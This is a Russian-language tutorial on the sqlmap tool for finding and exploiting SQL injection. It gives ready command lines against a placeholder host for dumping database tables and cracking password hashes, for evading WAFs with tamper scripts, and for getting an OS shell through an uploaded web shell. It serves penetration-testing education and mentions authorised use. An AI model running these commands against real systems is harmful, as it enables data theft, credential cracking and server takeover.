SQL-инъекции остаются одной из наиболее распространённых и опасных уязвимостей веб-приложений уже два десятилетия. sqlmap — инструмент, который автоматизирует поиск и эксплуатацию таких уязвимостей до уровня, недостижимого при ручном тестировании.

Почему sqlmap, а не руками

Ручное тестирование SQL-инъекций требует знания синтаксиса десятков СУБД, умения обходить WAF, понимания boolean- и time-based атак. sqlmap знает всё это и умеет определять тип базы данных, вектор инъекции и метод эксплуатации автоматически. Это не значит, что понимать теорию не нужно — понимать необходимо, чтобы интерпретировать результаты и настраивать инструмент под конкретную цель.

Базовый запуск

Самый простой сценарий — передать URL с параметром:

sqlmap -u "http://target.com/page.php?id=1"

sqlmap автоматически определит, уязвим ли параметр id, и если да — определит тип СУБД и доступные векторы атаки.

Для POST-запросов:

sqlmap -u "http://target.com/login" --data="username=test&password=test"

Работа с перехваченными запросами

Часто удобнее сохранить HTTP-запрос из Burp Suite и передать его sqlmap напрямую:

sqlmap -r request.txt

Файл request.txt — это сырой HTTP-запрос, скопированный из Burp. sqlmap разберёт все параметры сам.

Если нужно тестировать конкретный параметр:

sqlmap -r request.txt -p username

Уровни тестирования

Параметры --level (1-5) и --risk (1-3) контролируют агрессивность тестирования:

  • --level — количество проверяемых мест (заголовки, cookies, референсы). По умолчанию 1.
  • --risk — риск атак. Уровень 3 включает OR-based атаки, которые могут изменить данные в БД.
sqlmap -u "http://target.com/page.php?id=1" --level=3 --risk=2

Дамп данных

Когда инъекция найдена, можно извлекать данные:

Получить список баз данных:

sqlmap -u "http://target.com/page.php?id=1" --dbs

Получить таблицы конкретной БД:

sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables

Дамп таблицы users:

sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump

sqlmap автоматически попытается взломать хэши паролей через встроенный словарь.

Обход WAF и защиты

Для обхода WAF sqlmap предоставляет --tamper скрипты — модификаторы пейлоадов:

sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,charencode

Полезные tamper-скрипты:

  • space2comment — заменяет пробелы комментариями /**‍/
  • charencode — URL-кодирует пейлоад
  • randomcase — рандомизирует регистр ключевых слов SQL
  • between — заменяет операторы сравнения на BETWEEN

Получение shell

При определённых условиях (права FILE в MySQL, возможность записи в веб-директорию) sqlmap позволяет получить OS shell:

sqlmap -u "http://target.com/page.php?id=1" --os-shell

Это работает через загрузку веб-шелла. Используйте только в рамках авторизованного тестирования.

Практические советы

Всегда добавляйте --batch для неинтерактивного режима в автоматизированных сканах. Используйте --threads для ускорения (но осторожно, чтобы не положить сервер). При работе с аутентифицированными сессиями передавайте cookies через --cookie.

sqlmap -u "http://target.com/page.php?id=1" --cookie="session=abc123" --batch --threads=5